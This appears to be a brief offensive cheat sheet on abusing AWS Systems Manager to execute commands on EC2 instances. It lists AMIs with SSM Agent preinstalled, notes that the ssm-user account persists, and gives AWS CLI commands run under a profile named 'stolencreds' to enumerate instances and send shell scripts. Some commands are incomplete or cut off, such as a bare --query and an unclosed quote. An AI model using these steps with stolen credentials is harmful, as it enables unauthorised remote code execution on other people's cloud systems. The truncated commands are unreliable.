AWS -SSM - Command Execution

The ssm-user account is not removed from the system when SSM Agent is uninstalled

SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):

• Windows Server 2008-2012 R2 AMIs published in November 2016 or later

• Windows Server 2016 and 2019

• Amazon Linux

• Amazon Linux 2

• Ubuntu Server 16.04

• Ubuntu Server 18.04

• Amazon ECS-Optimized

Commands:

aws ssm describe-instance-information --profile stolencreds --region eu-west-1

aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript"

aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query

Eg:

aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript